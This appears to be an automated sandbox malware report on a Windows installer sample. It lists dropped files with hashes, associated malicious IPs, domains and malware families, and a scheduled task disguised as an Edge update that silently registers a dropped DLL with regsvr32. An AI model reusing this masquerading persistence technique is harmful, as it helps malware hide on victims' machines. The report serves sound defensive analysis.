Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal80.evad.winEXE@26/24@1/2
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 89% Number of executed functions: 48 Number of non-executed functions: 49
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7736 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8100 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:58:25	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskMachineUA{D7C2DB06-FCF6-4992-AF37-53F140CD5A88} path: regsvr32 s>/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll
20:58:13	API Interceptor	73x Sleep call for process: powershell.exe modified
20:58:52	API Interceptor	466838x Sleep call for process: regsvr32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
93.93.131.124	a913b6f2499bfbef318b948a278f0e441a5d6334752712d4f4539e72.hta	Get hash	malicious	Unknown	Browse	the.earth.li/~sgtatham/putty/0.63/x86/putty.exe
93.93.131.124	doc.doc	Get hash	malicious	Unknown	Browse	the.earth.li/~sgtatham/putty/latest/w64/putty.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
the.earth.li	setup.exe	Get hash	malicious	Amadey	Browse	93.93.131.124
	Wzphku.exe	Get hash	malicious	Unknown	Browse	93.93.131.124
	Wzphku.exe	Get hash	malicious	Unknown	Browse	93.93.131.124
	epah.hta	Get hash	malicious	Unknown	Browse	93.93.131.124
	a913b6f2499bfbef318b948a278f0e441a5d6334752712d4f4539e72.hta	Get hash	malicious	Unknown	Browse	93.93.131.124
	client_1.hta	Get hash	malicious	Unknown	Browse	93.93.131.124
	client_3.vbs	Get hash	malicious	Unknown	Browse	93.93.131.124
	Informazion.vbs	Get hash	malicious	Unknown	Browse	93.93.131.124
	827837hj.xls	Get hash	malicious	Unknown	Browse	93.93.131.124
	doc.doc	Get hash	malicious	Unknown	Browse	93.93.131.124

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MYTHICMythicBeastsLtdGB	setup.exe	Get hash	malicious	Amadey	Browse	93.93.131.124
	Wzphku.exe	Get hash	malicious	Unknown	Browse	93.93.131.124
	Wzphku.exe	Get hash	malicious	Unknown	Browse	93.93.131.124
	epah.hta	Get hash	malicious	Unknown	Browse	93.93.131.124
	a913b6f2499bfbef318b948a278f0e441a5d6334752712d4f4539e72.hta	Get hash	malicious	Unknown	Browse	93.93.131.124
	client_1.hta	Get hash	malicious	Unknown	Browse	93.93.131.124
	client_3.vbs	Get hash	malicious	Unknown	Browse	93.93.131.124
	Informazion.vbs	Get hash	malicious	Unknown	Browse	93.93.131.124
	827837hj.xls	Get hash	malicious	Unknown	Browse	93.93.131.124
	7XlWWSA2LU.dll	Get hash	malicious	Wannacry	Browse	93.93.132.33
SKHT-ASShenzhenKatherineHengTechnologyInformationCo	1732086011ea45d03916726c55fa40ae0b8f39b9a24a40da5a5e79d29c703a7fb444bdeb31407.dat-decoded.exe	Get hash	malicious	Remcos	Browse	154.216.19.141
	dvwkja7.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	http://www.dvdcollections.co.uk/search/redirect.php?deeplink=https://lp-engenharia.com/zerooo/?email=mwright@burbankca.gov	Get hash	malicious	HTMLPhisher	Browse	154.216.17.193
	https://online-e.net/st-manager/click/track?id=795&type=raw&url=https://msc-mu.com/apikey-tyudqnhzdgevhdbasx/secure-redirect%23Darth.Vader%2BDeathStar.com&source_url=https%3A%2F%2Fonline-e.net%2Feven-if-even-though%2F&source_title=Even%20if%E3%81%A8Even%20though	Get hash	malicious	Unknown	Browse	154.216.17.193
	new.bat	Get hash	malicious	Unknown	Browse	154.216.17.175
	dvwkja7.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	wnbw86.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	vqsjh4.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	jwwofba5.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	qkehusl.elf	Get hash	malicious	Mirai	Browse	154.216.16.109

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://tally.so/widgets/embed.js	Get hash	malicious	Unknown	Browse	93.93.131.124
	Lreticupdwy.exe	Get hash	malicious	Unknown	Browse	93.93.131.124
	Lreticupdwy.exe	Get hash	malicious	Unknown	Browse	93.93.131.124
	https://www.cbirc.gov.cn/cn/view/pages/index/index.html	Get hash	malicious	Unknown	Browse	93.93.131.124
	BOA-everbridge.com-$29,890.html	Get hash	malicious	Unknown	Browse	93.93.131.124
	PNSBt.js	Get hash	malicious	AsyncRAT	Browse	93.93.131.124
	LETA_pdf.vbs	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	93.93.131.124
	plutonium.exe	Get hash	malicious	Unknown	Browse	93.93.131.124
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	93.93.131.124
	ahmbf.ps1	Get hash	malicious	Unknown	Browse	93.93.131.124

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\is-5SLSV.tmp\_isetup\_setup64.tmp	file.exe	Get hash	malicious	Nymaim, Socks5Systemz	Browse
	hkQx7f6zzw.exe	Get hash	malicious	TVrat	Browse
	hkQx7f6zzw.exe	Get hash	malicious	TVrat	Browse
	aeyh21MAtA.exe	Get hash	malicious	TVrat	Browse
	aeyh21MAtA.exe	Get hash	malicious	TVrat	Browse
	aesM8nmCM2.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	OFjT8HmzFJ.exe	Get hash	malicious	Socks5Systemz	Browse
	BJqvg1iEdr.exe	Get hash	malicious	Socks5Systemz	Browse
	iv2Mm5SEJF.exe	Get hash	malicious	Socks5Systemz	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_43pokpvo.rhh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4pu10rbo.ls4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5argqkq3.mgv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ebjbczv2.kxr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_glle3ccc.2an.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ie5y5ywf.sva.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ik3iq54c.hdw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kugqo02g.a11.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oy1zruom.afo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qio3crjx.dij.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rbwf1hjk.ghv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wqgfilsy.3lw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-5SLSV.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: hkQx7f6zzw.exe, Detection: malicious, Browse Filename: hkQx7f6zzw.exe, Detection: malicious, Browse Filename: aeyh21MAtA.exe, Detection: malicious, Browse Filename: aeyh21MAtA.exe, Detection: malicious, Browse Filename: aesM8nmCM2.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: OFjT8HmzFJ.exe, Detection: malicious, Browse Filename: BJqvg1iEdr.exe, Detection: malicious, Browse Filename: iv2Mm5SEJF.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-5SLSV.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-B0R75.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-B0R75.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1160704
Entropy (8bit):	6.3941502469827425
Encrypted:	false
SSDEEP:	24576:MYwCLCUplZhgjXj8YcgoniqO3CBiO0jaS+EtjC67V5MNx9XU:3GUhni7iSFCQGu
MD5:	14C6FA8E50B4147075EB922BD0C8B28D
SHA1:	0FAAD18B0E26CE3B5C364621A4F0AEE9DB56A9A7
SHA-256:	90C4A61AF494B63ECFE1226714175675A4E49E57D50718491B3BC8FE29DD8FC7
SHA-512:	E6C35BBCAA9A8BB306E58BB91AADF5FEED6B1AD1DF6EE0E68BF3BAE9B76D84C862B4EE9DD87A1D288FE1B7AAAAC13467964436A09EC529F67AF50905CD0EF876
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...V..O..........................................@..............................................@...............................7......<...........................................................................X...x............................text...<........................... ..`.itext.............................. ..`.data..../.......0..................@....bss....pa...............................idata...7.......8..................@....tls....<............ ...................rdata............... ..............@..@.rsrc...<............"..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1160704
Entropy (8bit):	6.3941502469827425
Encrypted:	false
SSDEEP:	24576:MYwCLCUplZhgjXj8YcgoniqO3CBiO0jaS+EtjC67V5MNx9XU:3GUhni7iSFCQGu
MD5:	14C6FA8E50B4147075EB922BD0C8B28D
SHA1:	0FAAD18B0E26CE3B5C364621A4F0AEE9DB56A9A7
SHA-256:	90C4A61AF494B63ECFE1226714175675A4E49E57D50718491B3BC8FE29DD8FC7
SHA-512:	E6C35BBCAA9A8BB306E58BB91AADF5FEED6B1AD1DF6EE0E68BF3BAE9B76D84C862B4EE9DD87A1D288FE1B7AAAAC13467964436A09EC529F67AF50905CD0EF876
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...V..O..........................................@..............................................@...............................7......<...........................................................................X...x............................text...<........................... ..`.itext.............................. ..`.data..../.......0..................@....bss....pa...............................idata...7.......8..................@....tls....<............ ...................rdata............... ..............@..@.rsrc...<............"..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\is-DOVSB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1183089
Entropy (8bit):	6.3663933835404425
Encrypted:	false
SSDEEP:	24576:kYwCLCUplZhgjXj8YcgoniqO3CBiO0jaS+EtjC67V5MNx9XN:fGUhni7iSFCQGz
MD5:	F1ED953D31A56E4899772A56604685B5
SHA1:	C56DA596FD92B48D2B062C16131A1CFDC984853F
SHA-256:	438A002FB9CD0BD061345C8F098C69C4249CE0B0D9AC3F1BC5CB3701BA6093EC
SHA-512:	514131A00232CDE458F50FB8AABEC5D415B62101A814520B8DF7C32AD24C23409C76A64D513B3FD96F526A461DE2531AEAA59A187D647C946DE5B51C52177E8D
Malicious:	false
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...V..O..........................................@..............................................@...............................7......<...........................................................................X...x............................text...<........................... ..`.itext.............................. ..`.data..../.......0..................@....bss....pa...............................idata...7.......8..................@....tls....<............ ...................rdata............... ..............@..@.rsrc...<............"..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp
File Type:	InnoSetup Log Little Leg, version 0x418, 3667 bytes, 835180\37\user\376, C:\Users\user\AppData\Local\376\377\377\0
Category:	dropped
Size (bytes):	3667
Entropy (8bit):	3.7596549004290343
Encrypted:	false
SSDEEP:	96:RTzG44NWzpZn3ZCdfc1AGlEDA4MZAe2LUHhxo:RTSxYpZ3Ef7fDSmUHXo
MD5:	4BC88505FFE4E8F89297325C9D2DEEE0
SHA1:	9CA44B06D9950178AFA4E432626F421A041B683C
SHA-256:	C42EDF047B7B5D19F804B93ABE1D788C8A11A4427A941809F50CA46BAF22D05A
SHA-512:	5914A28144F7AC0D94D162D8B53407FFD1B23BBFE3B31D27CB9AF23A7A6B334ACAB9314E150398B22143756EC59996ED9569524BEC7D61F2E531DF34B47C07EC
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................Little Leg......................................................................................................................Little Leg..............................................................................................................................S...%...............................................................................................................I_.2....x.............s........8.3.5.1.8.0......j.o.n.e.s......C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l................:...'.. ..............IFPS...............................................................................................................................................................BOOLEAN..............TEXECWAIT.................!MAIN....-1..'...dll:kernel32.dll.GetCurrentProcess.......(...dll:kernel32.dll.TerminateProcess................ ...RESTARTINSTALLERWITHSILENTPARAMS....-1..EXPANDCONSTANT........EXEC.........

C:\Users\user\AppData\Local\unins000.exe (copy)

Download File

